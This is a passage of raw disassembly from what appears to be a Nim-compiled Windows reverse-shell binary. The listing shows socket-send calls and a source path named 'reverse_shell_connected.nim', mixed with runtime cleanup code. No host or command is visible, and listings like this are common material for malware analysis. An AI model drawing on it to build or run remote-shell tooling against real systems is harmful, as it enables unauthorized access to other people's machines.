movups xmmword [rsp + 0xd0], xmm4
call sym.appendString.lto_priv.0.lto_priv.0
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0xd8], rbx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0xd0], rax
call sym.appendString.lto_priv.0.lto_priv.0
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
movdqu xmm5, xmmword [0x140026bc0]
movups xmmword [rsp + 0xd0], xmm5
call sym.appendString.lto_priv.0.lto_priv.0
mov rax, qword [rsp + 0x1e8]
movdqu xmm6, xmmword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x14002a0c0]
mov qword [rsp + 0xa0], rax
movups xmmword [rsp + 0xd0], xmm6
call method.net.send_ref_net::SocketImpl___string__set_net::SocketFlag___int___clone_.constprop.0_
movzx eax, byte [r12]
test al, al
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xa0]
jne 0x14001a46c
lea rdx, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x100], 0x17a
mov qword [rsp + 0x108], rdx
test rax, rax
je 0x14001a176
test byte [rax + 7], 0x40
je 0x14001a39e
test rbx, rbx
je 0x14001a185
test byte [rbx + 7], 0x40
je 0x14001a4ce
mov rcx, qword [rsp + 0x90]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_oserrors.nim
mov qword [rsp + 0x100], 0x4e
mov qword [rsp + 0x108], rax
call method.oserrors.eqdestroy__ref_exceptions::OSError__
cmp byte [r12], 0
jne 0x1400192e1
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x100], 0x83a
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xd8], rax
call method.system.eqdestroy__seq_string__
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x100], 0x17a
test rax, rax
je 0x14001a21d
test byte [rax + 7], 0x40
je 0x14001a4b7
mov rcx, qword [0x14002a0a8]
test rcx, rcx
je 0x14001a233
test byte [rcx + 7], 0x40
je 0x14001a4c4
test byte [rsi + 7], 0x40
je 0x14001a50f
test r13, r13
je 0x14001a24d
test byte [r13 + 7], 0x40
je 0x14001a51c
mov rcx, qword [0x14002a0d8]
test rcx, rcx
je 0x14001a263
test byte [rcx + 7], 0x40
je 0x14001a529
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x14001a277
test byte [rax + 7], 0x40
je 0x14001a533
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x14001a28b
test byte [rax + 7], 0x40
je 0x14001a502
mov rcx, qword [rsp + 0x98]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x38]
call method.system.eqcopy__var_ref_system::Exception_____ref_system::Exception___bool___clone_.isra.0_
lea rax, str._home_kali_reverse_shell_connected.nim
mov qword [rsp + 0x108], rax
jmp 0x140017c6f
lea rax, str.destroy
mov rcx, rbp
xor ebx, ebx
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
xor eax, eax
mov word [rsp + 0x230], ax
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov qword [rsp + 0x68], 0
mov rax, qword [rax]
mov qword [r15], rax
movzx edx, byte [r12]
jmp 0x140017ef3
lea rax, str.destroy
mov rcx, rbp
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
xor eax, eax
mov word [rsp + 0x230], ax
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
jmp 0x140019c37
mov rsi, qword [rsp + 0x98]
mov rbp, qword [rsp + 0xa0]
call sym.raiseOverflow
jmp 0x14001921f
call sym.system::callDepthLimitReached
mov rbx, qword [r15]
jmp 0x140019fbe
xor r8d, r8d
mov qword [r15], rbp
mov word [rsp + 0x232], r8w
mov qword [rsp + 0x210], 0
jmp 0x140019fbb
mov rcx, rax
call sym.deallocShared
jmp 0x14001a176
call sym.raiseOverflow
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
jmp 0x140017865
lea rax, str.destroy
mov rcx, rbp
mov word [rsp + 0x230], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x228], rax
xor eax, eax
mov qword [rsp + 0x220], rax
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
movzx eax, byte [r12]
mov byte [r12], 0
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x90]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_oserrors.nim
mov qword [rsp + 0x100], 0x4e
mov qword [rsp + 0x108], rax
call method.oserrors.eqdestroy__ref_exceptions::OSError__
cmp byte [r12], 0
jne 0x1400192e1
movzx eax, byte [rsp + 0x50]
mov byte [r12], al
test al, al
jne 0x1400192e1
mov rcx, qword [rsp + 0x98]
mov rax, qword [rcx]
mov rdx, qword [rax + 0x38]
call method.system.eqcopy__var_ref_system::Exception_____ref_system::Exception___bool___clone_.isra.0_
jmp 0x1400192e1
lea rdx, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov byte [r12], 0
mov qword [rsp + 0x100], 0x17a
mov qword [rsp + 0x108], rdx
test rax, rax
je 0x14001a497
test byte [rax + 7], 0x40
je 0x14001a4db
test rbx, rbx
je 0x14001a40f
test byte [rbx + 7], 0x40
jne 0x14001a40f
mov rcx, rbx
call sym.deallocShared
jmp 0x14001a40f
mov rcx, rax
call sym.deallocShared
jmp 0x14001a21d
call sym.deallocShared
jmp 0x14001a233
mov rcx, rbx
call sym.deallocShared
jmp 0x14001a185
mov rcx, rax
call sym.deallocShared
jmp 0x14001a497
call sym.raiseOverflow
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
jmp 0x1400186fc
mov eax, 1
jmp 0x1400191fd
mov rcx, rax
call sym.deallocShared
jmp 0x14001a28b
mov rcx, rsi
call sym.deallocShared
jmp 0x14001a23d
mov rcx, r13
call sym.deallocShared
jmp 0x14001a24d
call sym.deallocShared
jmp 0x14001a263
mov rcx, rax
call sym.deallocShared
jmp 0x14001a277